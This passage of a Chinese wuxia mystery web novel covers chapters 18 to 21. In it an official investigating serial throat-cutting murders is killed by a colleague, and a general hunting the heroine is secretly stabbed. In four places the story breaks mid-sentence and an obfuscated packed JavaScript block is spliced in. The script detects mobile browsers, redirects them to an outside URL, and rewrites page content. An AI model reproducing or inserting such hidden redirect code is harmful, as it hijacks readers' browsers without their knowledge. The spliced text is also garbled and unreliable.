师成礼愣住,下意识地:“这么贵?” 安晏挑眉:“因为我是神医。” 师成礼不说话了。因为她的确是神医。 “哈哈哈,骗你的。”安晏笑起来,好像终于能体会到墨白平日捉弄她时的乐趣了,“我是大夫,治病救人,乃份内之责,你也无需放在心上。不用送了,后会有期。” 说完,她拱了拱手,便拉着墨白和谢新柳离开了。 师成礼目光复杂地看着他们走出院子,他没有相送,双手却在身侧握成了拳。 —————————— 师成礼在县衙忙碌到深夜。 月华拂落,映出窗边的烛影,案上书卷已摞了半人高,他却仍未理出头绪。 忽然响起了敲门声。 一个年轻男子推门而入,是县城治吏。师成礼闻声抬头,望了那人一眼:“徐戾,是你啊,吓了我一跳。” “你还没走?”徐戾脚步一顿,“我今日恰巧有事,耽搁了时间,正准备回家,见你屋里灯亮着,还以为你忘了灭灯。”他走上前,颇为好奇,“你在看什么?县里近些日子,并无要案吧?” “我在查看成州的连续杀人案,就是几个月前,闹得沸沸扬扬的那件事。”师成礼道。 “嗯?”徐戾倚着桌边,随意拿过一本记录,“我有些印象,这些,就是霍治事拿来的?” “是,此案死者众多,牵涉地域甚广,我看了一整天,腰酸脖子痛的,还没有看完。”师成礼一边说,一边仍在翻阅。 “这案子,我听说,朝廷先是派了钦差,后又派了刑审院的大人去查。”徐戾微微眯起眼,瞥向师成礼,“你为何会突然调查此案?” “没什么,只是忽然有些兴趣。”师成礼低着头道,彻底回避了徐戾的目光。 “有些兴趣,也不至如此废寝忘食吧?”徐戾问道,“令堂身体可好些了?以往你都是一下值就赶回家,连我们邀你喝酒都不去一次。” 师成礼抓了抓头发:“还未来得及同你们说,我昨日遇见一位神医——昨日我不是休沐吗,我去山上采药,差点摔下山崖,正巧被这位神医救了。她实在厉害得很,不仅有一身好功夫,更是妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956555|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手回春,药到病除,我母亲的头疾已被她治好了。” “神医?”徐戾一怔,又转目看向手里画着成州杀人案嫌犯画像的册子,眸子愈发深了。 “那个,时辰也不早了,你若乏了,就先回去休息吧。”师成礼忽然意识到他说得太多了,连忙转移话题道,“我看完这本就走,你放心,我一定记得灭灯。” 徐戾看了看师成礼,将手中册子合上,嘴角微微一勾:“行,我就不打扰你了。不过,我对这案子也有了些兴趣,明日,我也来一起看。你想查些什么,两个人一起,总能更快一些不是?” “那……那就先多谢你了。”师成礼尽量镇定地道,手心不自主地出了一层细汗。 徐戾又是一笑,没再说什么,告辞离开了。师成礼坐在桌前,却也看不下去了,眉心紧紧打成了一个结。 他开始后悔了,他怎么又忘记了“沉默是金”的道理?他一向不擅长说谎,徐戾他……是不是察觉到了什么? 昨日他没有让他们出去买菜,今日他们也很早就走了,徐戾应该不会见到他们。但他心里不知为何,竟无端生了恐惧。 他不希望他们遇到危险——至少,在真相查明,证据确凿之前。 他不相信他们是杀人凶手,一定是什么地方搞错了。他们救了他,救了他的母亲——一个善良仁德,救死扶伤的大夫,怎么会杀人呢? —————————— 兴明县县衙,出了两个怪人。 一个自然是师成礼,他日日下值后赶回家为母亲做饭煎药,继而便返回县衙伏案阅卷,快到子时方才离去,如此奔波辛劳,整个人都消瘦了许多。一刀封喉的连续杀人案无人不知,但朝廷已派了钦差,刑审院司直稽查个个都是查案好手,哪里轮得到一个普普通通的令事出谋划策? 师成礼说,他不是为了去刑审院献策,可是究其原因,他又支支吾吾,说不出一个所以然。 另一个怪人,却是徐戾。 徐戾的怪不是一日两日了,他的武功在县衙中出类拔萃,甚至比起县尉也不遑多让,为何却来了这小小兴明县做一个小小治吏,谁也不知道。 这些日子,徐戾和师成礼一起,宵衣旰食地在那研究杀人案。 但没有人敢去问他,徐戾平日虽同众人一般喝酒赌钱,天南地北地胡侃,可——大家心里,不知怎么,都有点怕他。 —————————— 秋意渐深,月色如水,静悄悄地流满长街。 徐戾和师成礼离开县衙,一个向西,一个向东,各自回家去了。 深夜时分,万家灯火都已熄灭,寂静无人的城中,只远远传来巡夜的更声。月光将徐戾的影子拉得颀长,而他的目光,却幽暗似融进了夜色。 他有很多次像今日这样,踽踽独行于茫茫世间,他本没了什么期待,可或许是今夜月影清幽,星辉潋滟,他竟莫名感觉到了——孤独。 二十四起杀人案,他在睡梦中也会时常想起。 简洁,果断,是杀人者最完美的刀法。 他忽然想起了一个人。 三年前的血光中,那个人,像是一尊残忍而冷漠的神。 转过街角,他的家就在不远,他却忽然顿住。 墙下人影好似隔世的幻觉,他甚至看不清那人的面容,但有一颗种子却从心脉,一寸寸发芽成长,蔓延到了指尖。 “你……终于来找我了。” 19. 我是来杀你的 “我想去将这连续杀人案调查清楚。” 一日,师成礼突然对徐戾说。 丹霞如锦,如一层层莲花铺满天际。徐戾正靠着门框出神,闻言一怔:“你不是正在调查?” “不是……”师成礼摇了摇头,面容比两个月前更显得疲倦,目色却是清亮的,“我想辞官,亲自去成州各处,甚至去南州、俞州、洛州,将这件案子的前因后果都调查清楚。” 徐戾骇了一跳,直起身子,不可思议地打量着他:“令堂尚在,病情才刚好转,你却要远行?再说这案子,刑审院督查早已到了兴德郡,疑犯画像也已传至各州各郡,抓到凶手,不过是迟早的事,你去做什么?” “我……”许是说起母亲,师成礼移开视线,话音不免踟蹰,“这两个月,我母亲头疾并未再犯,我……这才敢想着离开县城。我已和舍妹说了,她夫家通情达理,允她时常回家照料母亲。我也留了银子,够母亲这两年衣食。我当然不愿不顾母亲独自离开,但是……” 但是,正因为刑审院督查已经到达成州许久,却未翻案另指真凶;正因为刑审院督查行事利落,通缉画像早已传遍整个越国,他才不能等。 如果他犹豫蹉跎,而令他的恩人蒙受冤屈,甚至身陷险境,他此生于心何安? 徐戾不言,眉心稍稍蹙了起来。 “你也看了很久的案卷不是吗?”师成礼复又抬起头,目光染了几分殷切和焦急,“你比我见多识广,你定然也看出了这案子的不对劲——那两个人,绝不可能是犯人!先不说其他,犯人怎会杀了人,却不立即逃走,反在死者家中睡了一晚?又怎会——” 他忽地一顿,硬生生地转口道,“那上面写着,嫌犯之一曾随顾将军前往郡衙——他们为什么不逃走?反而去自投罗网?” 再者,他们若是犯人,又怎会带上那个小姑娘同行? 徐戾目色深邃地看着他:“嗯,你说得很对。” “不行,我必须亲自去查清楚,至少也要将这几处疑点,告诉刑审院督查。我……”师成礼不能说出他见过安晏和墨白,话到嘴边,又硬叫他咽了回去。不过,徐戾倒没有追问,师成礼拧着眉,似乎颇有些苦恼,“只是我没有功夫,这一趟怕要花上数月,沿途多少危险……虽然问了一个江湖朋友,他说可以陪我,不收我银子,但……唉,这年头,攒钱不容易,花钱却快。”好不容易攒的礼金,这次恐怕又要花得一干二净了。 可是,他们对他有恩,他又明知他们绝非真凶,哪能……袖手旁观呢? 他已打算好了,先去兴德郡,若督查不信他,他就将那二十四个案发之地都去上一遍。 虽然事件已过去数月,线索不知还存有多少,即使拿到了手,他也不知下一步应该做什么,能否找出真凶。但……他不能躲在兴明县,什么都不做。 徐戾安静半晌,忽而薄薄地笑了。 “给你。”他伸手入怀,掏出一方布袋,丢给师成礼。 “什,什么?”师成礼一怔,手忙脚乱地接过,打开看去,又是一怔,“这,这些银子……不是,我不是这个意思,我就是自言自语,我的银子够用,这些,这些还给你吧。”连忙将布袋系上,递给徐戾。 徐戾没有接,只又笑了一声,摆摆手,转身走了:“不用还了。” —————————— 然而,师成礼尚未启行,他的那个江湖朋友,就被人发现死在了家中。 师成礼坐在他的棺木前,怀中抱着一摞案卷,灯烛幽微如冥府引路的火,他就这么独自坐了一整夜。 他的朋友,是被人刺杀而亡的。就在他们出发的前夜。 是不是有人,不想他去调查那连续杀人案? 他原本只是觉得马郡尉和顾将军搞错了,现在他却觉得,他想得太简单了。他以为自己发现了案件的疏漏,可是如此明显的疏漏,顾将军怎会没有发现?督查怎会没有发现?——他们仍要缉拿她,即使她并非凶手,也定然—— 门外突然一声轻响。 晨幕未明,天光晦暗,院中枯枝随着秋风轻轻飘摇。他这个江湖朋友没有任何亲人在世,只有他独守了一夜灵堂,寻常百姓尚在睡梦的时辰,会是谁来? 他不由得生出几分警觉,放下案卷,将手摸向桌上的烛台。 门外响声再起,这回,却是直向灵堂而来的脚步声了。 师成礼压下忽然凌乱的心悸,慢慢地转过身。 不禁一顿。 “徐戾……?”师成礼犹豫地启口。他并非不认得徐戾了,可是那双瞳孔,却如此陌生。 像蒙了一层阴翳,像覆了经冬的雪。 徐戾迈进灵堂,看也不看那棺木一眼,满堂烛火好似畏冷而轻轻一颤,徐戾却缓缓抽出了刀。 “你……”师成礼下意识地退了一步。 “我是来杀你的,你这个朋友,也是我杀的。”徐戾说,声音因平静而更显得冰冷,“你查到太多了,很多事情,你本不该深究。” 师成礼一骇,当即移步,举起那烛台——即使打不过,他也要问个究竟,他也要寻机逃走—— 没说出口的话,断在了咽喉中。 这一刀鲜血喷薄,溅满棺椁,徐戾却一甩血珠,收刀还鞘,毫无迟顿地转身离开了。 师成礼捂住喉咙,却已发不出声。空气和温度一点点消失了,他的视线随着渐渐明亮的天幕而沉入黑夜,他靠坐着门柱慢慢滑落,努力地喘息着,望着门外空无一人的院子,最后,终于一切都寂静了。 深秋的最后一片落叶缓慢地飘下,停在了他的肩上。 —————————— 徐戾没有回家,而是向城门走去。 师成礼的尸首自然不会那么快就被人发现,徐戾和值守士兵打一声招呼,便顺利出了城。城外数里,民居渐渐稀落,荒草蔓生的官道旁,一人一马正在树下歇息。 徐戾在他身外一丈停住了脚,似有些局促。 那人安安静静地抬头望着天空,没有去看徐戾。不同于暗夜里杀人的装束,他一身素青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956556|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦衫,了无装饰,长发墨玉般披落,只在脑后以一只简单无华的铜簪束起,削瘦的身形裹在宽大的袍袖下,愈衬得他仿佛一株脆弱的树。 “伏焱……”徐戾迈出一只脚,又似乎终究胆怯,收了回来,“师成礼,我也杀了。” 伏焱微顿,鼻子里轻轻一哼:“嗯?” “他……他一门心思要查清那案子,他已经察觉到案情疑点,或许也察觉到了通缉令上的二人与您有所关联。”徐戾解释道,“我担心如此下去,他会给您带来麻烦,不论他是去找督查,或是去追那二人,所以……” “我知道。”伏焱终于侧头,视线淡淡掠过徐戾,“你是不是以为,我会表扬你?” 徐戾心中惊惧,不敢再言。他——难道做错了?杀死师成礼确实是他擅作主张,可是,师成礼已辞了官,可见其心意之坚决,若放任不管,迟早会成为麻烦—— “谁不知道他是个麻烦呢。” 徐戾一怔。 伏焱仿佛已看透他心中所想,微微勾起嘴角,分明是一身清雅公子的装扮,眼中却烫了一星幽暗的火光:“但你本不必亲自动手,又给自己惹上麻烦。” 徐戾怔怔立着,不明所以。 “——不过,”伏焱却又笑了一声,“也不是什么大事。反正,你就要走了。” 他说罢,弯身解开缰绳,骏马甩了甩脖子,低低喷出两声鼻息,伏焱抚上它的鬃毛,它便又安静下来。 “伏焱……”徐戾见伏焱似要离去,终还是咬了咬牙,鼓起勇气请求道,“我能和您……一起走吗?” 伏焱的笑容意味不明:“当然不行了。” 徐戾顿了顿,慢慢地垂下了目光。 他说的话,他自然是要听的,而无需探究背后的理由。就如同他如今叫作“伏焱”,如同他要他杀人,如同他三年前没有带走他,如今也不想带上他。 “我有件事想做,必须要亲自做。”然而,伏焱忽然大发慈悲地开口,嘴角眼角这一瞬沾满了邪气,“我也有件事情,需要你帮我去做。” 徐戾一怔,慌忙又惊又喜地跪伏下身子:“是,一切都听您吩咐!” 伏焱的眸子却又渐渐冷漠下来。 他看着徐戾的头顶,半晌,慢慢地转过了身:“走吧。我的时间不多,离开太久,章管家会起疑的。” 徐戾愣怔地抬起目光,伏焱已背对着朝阳走远,梦境般的霞色落满肩头,竟令他一时恍惚。他随即回过神,连忙爬起来,匆匆向伏焱跑去,跟在他身后三步远的距离。 伏焱突然问:“你知道,为何你不需要亲自动手吗?” 徐戾诚实地垂着头:“我不知道。” “因为他根本,活不到入冬。”伏焱低低地笑了,胸腔里传来隐秘而鼓噪的震动,“真不愧是我的弟弟,到底还是,流着一样的血。” 徐戾默然走在他身后。 伏焱似乎也不指望他会说什么,微微眯起了眼,望向红霞褪去,逐渐露出洁白的浮云:“我需要你,去找一个人。” 20. 将所有人都杀了 冬风消融,早春悄至,枝头细细碎碎冒出了柔嫩的叶。今年冬季,难得下了几场雨,丰年之喜,伴着春色盈满百姓的眉心。 然而上元未过两日,云励县内,就死了一户人家。 这是一户生意人,又与江湖有那么一些关联,许是来寻仇的,亦未尝可知。这一户男女老少十余口人,整整齐齐地停在正堂中,每个人皆唇色青紫,喉间一道浅淡的伤痕。 顾鸿云已在正堂沉默地站了半个时辰。 “顾将军,您看这……”云励县杨县尉立在顾鸿云身侧,有些摸不准顾鸿云的想法。 “将这起案子的疑犯,写成成州连续杀人案的疑犯。”顾鸿云最后面无表情地开口,“即刻贴出告示,让临近县城也一并设立关卡。” 杨县尉不禁骇了一跳:“这,这……” 这两起案件,恐怕不是同一人所为吧?他也看过那连续杀人案的案卷,虽说死者皆死于刀伤,伤口只切断喉咙,不见大量血迹,确有相似之处,可那个凶手不曾使用毒药,也……从未一次杀死十数人。顾将军的结论,是不是太武断了? 顾鸿云淡淡瞥了他一眼,声色沉肃:“只需贴出一个月,即可撤下。” 杨县尉更加疑惑了。 他忍不住小心地提议:“要不,还是先等仵作拿来验尸结果?这……曲老爷的账目和生意往来的册子,都暂时收在县衙,或许会有凶手的线索,您是否要过目一二?” 顾鸿云颔首道:“我稍后便去。” 不见他再有下文,杨县尉停顿半晌,只得再次确认:“那告示……” 顾鸿云却随即肃然截断道:“即刻张贴,不得有误。” 杨县尉不敢再问,唯唯诺诺地退下了。 侍卫都在院中,正堂内只有死人,料峭风过,更显得萧冷。顾鸿云却未离开,又蹲下身子,仔细检查起每一具尸首。 犯人不是安晏与墨白,甚至与之前的杀人案无关,顾鸿云当然知道。 可是,他不知道安晏和墨白去了什么地方,他也不知道如何才能找到他们。这案子是他南下路过此地,正巧遇上的,听说杀人者一刀封喉,他觉得或许可以利用,这才去见了县尉,要求介入此案。他毕竟官阶在县尉之上,对方也不好拒绝他。 这件案子的主谋,或许要看过账目才知。杀人者用了毒,武功未见得多高,喉间补上一刀,也有模仿之嫌。案件他会帮忙查明,追捕凶手的事,他可以交给杨县尉去做。 故意贴出告示,是他要借此,把安晏和墨白引来——他必须要再见他们一面。 就像当日在兴德郡,他同意了马郡尉的提议。 他大多时候,确然是个循规蹈矩,一丝不苟的人,可他同样明白,有些时候,达到目的,必须要用一些超出常规的手段。 这一次,他不会让他们轻易逃走了。 —————————— 死者安葬之后,顾鸿云住进了曲家。 连续十日,他将曲家所有文书和账目看了两遍,也大致理出了真凶身份的头绪。春寒未消,即使是安州南境,晚风也携满冷意。然而安晏和墨白未至,他还不能将真凶告诉杨县尉。 不过,他想,就快了。 顾鸿云合上案卷,吹熄烛灯。夜已深了,腹中有些饥饿,但也没必要再去麻烦张大娘——杨县尉派来照料他起居的农妇。他起身,理了理袍角,欲回房就寝—— 他忽然听见了门外的响动。 一人低语道:“县衙居然什么都没有,可过去十数日,曲家人定然早已入殓,若再无线索,我们该如何调查?难道真要挖棺验尸吗?” 继而是另一道温和的声线:“我倒觉得,也无不可。” 先前的声音叹道:“就怕时日久长,那些尸首都已腐烂,线索没了,你我头上的罪名可是摘不去了。” 顾鸿云屏气敛声,闪进了墙角阴影中。 无数个夜晚他在梦里反复听着他们的声音——安晏和墨白到了。 安晏走在前面,轻轻推开屋门,身后墨白和谢新柳拾阶而上,墨白笑着,温声道:“我不在乎多一条罪状,只要和你一起,逃亡天涯也不足为惧。” 安晏脚步一顿,即使屋内凉气清幽,她的脸颊却仍好似被火烫了一下。她没有回头,抬脚跨过门槛:“总还是不要逃亡比较好。” 墨白低低笑了一声,未作他言,安晏从怀中掏出火折子,在眼前甩了两下,一星火光幽幽明亮—— 那微火,却突然无风而动! 月光窥进窗棂,春蕊飘摇欲坠,不过弹指瞬息,安晏反手抽剑,“当”地与那暗影中的杀气凌厉一击! 她退了一步,暗中那人,却退了两步。 “你带着谢姑娘先出去。”安晏沉声,幽火熄灭,采萧剑换上右手,黑暗中她的双眸已如寒冰凛然。 墨白在她身后无声地勾了勾嘴角:“好。”便拉着谢新柳退出了屋子。 他倒不担心,对方只有一个人,武功亦不如她。 暗影中的人再次动了。 一把青碧色长剑携风刺来,却非杀招,而是取她左肩,安晏脚步微动,左肩一沉,右手却向上一挑,那人反应倒也迅速,半路忽将手腕一沉,绕过采萧剑又取她下身,安晏双脚向后退去,采萧剑变挑为削,向那人手臂划去! 那人也已撤剑,却稍慢一步,她听见了衣袖布料撕裂的声响。黑暗中难以视物,她仅能凭身形判断对方是一个男子——衣衫破裂,他想必也心知自身剑法稍逊一筹,却不退反进,又一剑刺向她肩膀! 安晏心下困惑,转而变攻为守。对面这人招招进攻,却无一招取她要害,他究竟有何目的?他这般打法,即使打到天明,也绝不可能伤到她分毫! 她记得,唐姨姨和许姨姨都说过,不抱着杀人的决心而举起刀剑,就好似将刀剑交给了敌人。 不想杀人的刀剑,最终只会杀了自己。 可……她好像,也没有什么资格说这些话。 如此想着,便分了神,一道剑光堪堪擦着她衣衫划过,她未及防守,只得急退,却已被逼到了窗下。 那青碧色剑光在黑夜中烈烈燃烧起来,她虽然有办法拦下,她甚至有三种办法可以毫发无伤地刺穿那丛火——可是,对方身份未明之前,她也不愿伤人。心念飞转间,她将真气凝在左肘,猛地撞碎木窗,借力一翻,落进了院子当中。 那人紧随其后,追了出来。 安晏抬起头,怔了一怔。就连不远处的墨白也微微一怔。 “顾将军。”安晏紧了紧握剑的手。 顾鸿云本想趁其不备,一击制敌,却不料安晏武功更胜一筹。院中地形开阔,他失了先机,更无取胜把握,但也不肯就此罢手,转而劝言道:“安姑娘,我已在此地等了你十日,还望你能随我回一趟兴德郡。” 安晏眉心深锁:“顾将军,你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956557|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要将多少罪名诬陷于我?那些人,没有一个是我所杀,云励县这案子,也与我毫无关系。” “我知道。”顾鸿云却坦然承认道,“是我要求杨县尉张贴出你们的告示,只有用此方法,才能将你们叫来。” “那兴德郡当时的悬赏,又如何说?”安晏不禁质问道。 “我知道,那些人非你所杀。”顾鸿云很平静地开口,令安晏有一瞬以为他其实和她站在同一方,“可是,你却打伤侍卫,逃走了。” 安晏顿了顿。 她深深呼吸一口,不由得冷笑:“顾将军难道要我束手就擒,被马郡尉押送去王都?” 顾鸿云一愕,先前种种缘由,他一瞬都明白了。他垂下剑尖,竟分外认真诚恳地对安晏躬身:“马郡尉擅作主张,我代他道一声歉。但是,我必须将你带回兴德郡,刑审院督查也在郡城,你只有回去,才能洗清嫌疑。” 安晏目色复杂,清泠泠的月光拂落,他与她仿佛立在院中的两尊玉像。他似乎真的非常信任她,竟将三处空门暴露在她面前,她只需一剑就能置他于死地——可是,她也是因为他,才会背上杀人的罪名。 半晌,她终是道:“即使回去,又能如何?” 顾鸿云郑重地道:“我会叫人找出那日的证人,也叫上督查大人,对簿公堂。” 安晏凝视着他,一时竟不能肯定他究竟是不是在开玩笑:“顾将军,你难道不知,那作伪证的乞丐,已经死了?” 顾鸿云怔住:“死了?” “死了,被伏焱杀死了。”安晏瞬也不瞬,“我后来,又去了兴德郡一趟。” 顾鸿云停顿片刻,似乎始料未及,可安晏却发现,他的目光里出现了一隙裂痕。 他肃眉问:“你怎知证人是那个伏焱所杀?你去找过他?你可有问出什么?” 安晏叹了一声:“顾将军,不止那乞丐何三死了,他背后的老板也死了,伏焱将所有人都杀了。兴德郡的线索,早已断得一干二净,你我即使回去,也不会有任何意义了。” 顾鸿云沉眉肃目,却仍坚持道:“即使如此,我也必须将你带回,在真相水落石出之前,你和墨公子,都不能离开。” 安晏顿了顿,道:“如果我不肯走,顾将军即便用强,也要将我带走吗?” 顾鸿云毫不犹豫地举起了同泽剑:“是。” 他已经无法肯定,安晏和墨白真的无辜了。 一个案子牵扯出另一个案子,每一个死去的人,都与她的行动路线不谋而合。 若是巧合,一件件都太巧了;若是她在追查,却没有第三个人见过她口中的“伏焱”。 安晏无奈,但也明白难以说服顾鸿云,只好半侧过头,对身后的墨白与谢新柳道:“墨公子,你带着谢姑娘,先去安全的地方等我。” “好。”墨白拉起谢新柳,温睦的笑眼中一分光亮也无,“我们先回去吧。” “嗯。”谢新柳紧紧攥着墨白的手,跟着墨白走了,路上却数次回眸,远远地望向安晏和顾鸿云。 心底一个念头悄然滋长,糅杂着身侧之人的呼吸,潜进了每一寸血脉。 脚步声渐渐远去,安晏终于再次举起采萧剑,春夜露冷,碧草色剑气却如一望无际的暖风,悠悠扬扬地弥漫开来。 “顾将军,我不会和你走,但我亦不会杀你。”安晏的目光沉静而笃定,“在他们回到安全的地方之前,我会阻止你。” 21. 你无法将我带走 这一次,顾鸿云不再留手,剑剑直取安晏要害。 倒是安晏全无杀招,一心防守,然而她防守的本事却一等一的好,剑招巧妙不露破绽,步法灵活更如行云流水,缠斗半个时辰,顾鸿云始终未触及安晏一瞬袍角。 顾鸿云的武功其实不算差,但他所学,本是战场杀敌,大刀阔斧的招式,面对安晏以灵巧见长的剑法,便全无用武之地了。 他渐渐露出疲态,安晏真气充沛,似也胜他一筹。正无计可施之际,安晏突然一转手腕,原本防守的剑招忽向他心口刺去,他悚然一惊,举步急退,然而那一招却是虚招,剑锋半路忽转,剑脊拍上虎口,同泽剑“当”地砸落在石砖上。 顾鸿云顾不得拾剑,蹬蹬蹬连退了三步。 安晏却未再追击。 “顾将军,你应该也明白,你无法将我带走。”安晏一脚将同泽剑踢飞到数丈之外,“我本在追查伏焱,却因你一纸悬赏而逃亡江湖。我能够理解你追查凶手的急切,所以我其实不怪你,但我还有必须去做的事,我不能回兴德郡。” 算算时间,墨白和谢新柳大概已经回到落脚处,她也该走了。 于是她收起了剑。 顾鸿云一愕,却见安晏撇了撇嘴道:“都说了不会杀你,你真当我是伏焱那样的恶魔?”想起那晚月夜如晦,她心中微微一痛,“但我也不知道伏焱身在何处,不论你认为我就是凶手,或者你想通过我来找伏焱,都没有意义。那道悬赏,如果你还能做主,就撤销了吧,如果不能,那也罢了,无论如何,我不会让官府抓到我。我会通过我的方式找到伏焱,也请顾将军,不要再插手了。” 顾鸿云沉目凝视着她,不发一言。 安晏只得叹息道:“该说的,我都已说了。我走了,后会有期。” 说罢,她向顾鸿云微微颔首,便转身离去,顾鸿云望着月光如水月影扶疏,终究没有去追。 —————————— 回到暂住的民居,墨白将谢新柳送回房间,他却停在了门外:“你先休息,我不放心安晏,我去找她,和她一起回来。” 谢新柳抬起头,只言不发。 “怎么了?”墨白温声,轻轻揉了揉她的头发,“别担心,路上没有人跟踪,这里很安全。我和安晏也会很快回来,你乖乖待在屋子里,不要乱跑。” 谢新柳却伸出手,拽住了墨白的衣袖:“那个将军……会武功,墨哥哥,你……太危险了。” 墨白俯下身,浅笑着保证道:“安晏的武功很高,那顾将军伤不到她,不会有事的。我只是去接她,我也不会有事的。” 谢新柳却将他衣袖攥得更紧了些,满眼映着盈盈水波:“我……不要自己留在这里。” 墨白仍然笑得温润如月色,眼底却渐渐拢上冰冷。他极轻极柔地掰开了谢新柳的手指,话音潜藏着不容拒绝的强硬:“谢姑娘,我们很快就回来。” 谢新柳的手,就这么僵硬地停在了半空。 直到墨白不见身影,直到夜风携裹冷意,透入衣衫,她突然惊醒般打了个寒战——她却没有回房,一步跨出了门槛。 心底终是有什么碎裂了。伴着光影坠落的,是无边无际的黑暗。 —————————— 深夜,街头巷尾寂静无人,唯有月色皎皎,将人影拉得颀长。顾鸿云独自向县衙走去,内心是前所未有的动摇。 他究竟该相信谁? 二十四起杀人案的凶手,究竟是谁?是安晏吗?或是那个叫“伏焱”的人?安晏的武功足够高,不留痕迹杀人简直轻而易举——可是她,却没有杀他。 然而,那个伏焱终究只是她的一面之词,他查过许多资料,皆无半句提及。“伏焱”,仿佛是一个她凭空杜撰出的人物。 未见她用刀,不能断定她不会用刀。 细数江湖,有此武功者,也不过寥寥数人,觉明寺方丈,云岫宫宫主,千峰谷谷主,玄刀门门主,麒麟阁暗部和政部,还有就是,飞春阁的阁主薇娘、兵部与暗部——都不像是,会闲来无事,不为钱财不为名利,连杀几十个普通民户的人。 总不会是……二十二年前,销声匿迹的那几个人吧? 可也不能断定,江湖中不存在某个隐秘的组织,或者其他像安晏这样的人——说起来,他竟从未细查,安晏她,究竟师从何门?那个墨公子,又究竟是什么人? 顾鸿云双眼渐渐明亮,不由得加快了脚步。他竟疏漏了,或许安晏的师门和墨白的身份,能带给他关于真相的线索。 ——突然间,一声房瓦轻响。 这一声本细微难辨,但在寂静的深夜,却刺耳得诡异。在弄清声音来由之前,顾鸿云下意识地向旁边迈了半步——就是这半步,令他躲过了刺入心脉的一刀! 刀刃没入胸腔,旋即毫不留情地拔出,顾鸿云甚至来不及去看敌人样貌,也来不及体会冰冷刺骨的痛,足下发力,已不管不顾地向前飞奔而去! 这一瞬脑中苍白无物,全凭着本能,却用尽了毕生的力气! 他只有一个感觉——危险。 比血流成河尸堆成山的战场更加危险,比敌军长枪击穿了耳边的盔甲更加危险,比他过往的所有敌人和所有战斗更加危险——他从未有这样一瞬,觉得死亡离自己仅有一线。 他一刻未歇,直到城墙下,终于双腿脱力,重重扑倒在草叶间。 那个人,没有追上来。 寒冷、疼痛、疲倦,一瞬间灌满了身体。鲜血将泥土染作殷红,他挣扎着试着呼救,口中却只溢出一声游丝般微弱的气息。 头脑钝重,仿佛夜幕沉沉压下,他的意识也渐渐模糊。他今夜……就要死在这里了吗? 孤身一人,带着那么多,未解的疑惑。 混沌之间,他隐约听见了衣料摩擦草茎,逐渐向他靠近的脚步声。 挣扎着转过脸,视线却已模糊,一团春草色的影子,停在了他身前。 —————————— 幽暗的巷子里,墨白解下漆黑的外袍,随手丢弃在角落。 到底是历经战场杀敌的将军,对于危险有一种特殊的本能,他竟没有一击取了顾鸿云的性命。 顾鸿云实在太碍事了。 私扣罪名,胡搅蛮缠,他早就想杀了顾鸿云,但因为一路与安晏同行,他始终未寻到机会。今夜他一击失手,但终究没有去追,安晏已不在曲家,街上还有巡夜的士卒,动静闹大,对他并无益处。 墨白将短刀仔细收进袖中,走出了深暗的闾巷。月光清泠如溪,纯净地披散在眼角和发梢,举步之间,他已是世家没落的如玉公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963086|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,与鲜血和刀剑都再无半分关系了。 安晏大约已经回去了,他也做完了该做的事,这就走吧。 那一刀虽未立即杀死顾鸿云,也必令他受了重伤,能否活下去,全看造化了。 但,不论顾鸿云是死是活,他都至少能安分一阵子了。 —————————— 然而,回到落脚的民居,屋内却空无一人。 安晏没有回来,谢新柳也不在。 墨白在门旁顿了半晌,猛地转身,大步离开了。 安晏被什么事情耽搁了?——以安晏的武功,他倒不必太担心——谢新柳擅自去了什么地方?——只怪他太匆忙,没有先让她睡去——谢新柳也早该——她若遇险,安晏她——定会责怪他吧? 甚至,她会不会怀疑他? 心下转过几种可能,他的眸子已如黑夜深邃。 —————————— 疼痛。 这是顾鸿云醒后的第一个感受。 然后他才意识到,他没有死,他活了下来。 略略挪动身体,胸腔里的剧痛令他猛吸了一口凉气。他环视四周,这里却是县衙,日头高照,不知过去几日几时。他尽力抬高了声音:“外间……有人吗?” 很快,一个婢女匆匆走入,行礼道:“顾将军,您醒了,是否要奴去叫杨大人与大夫过来?” 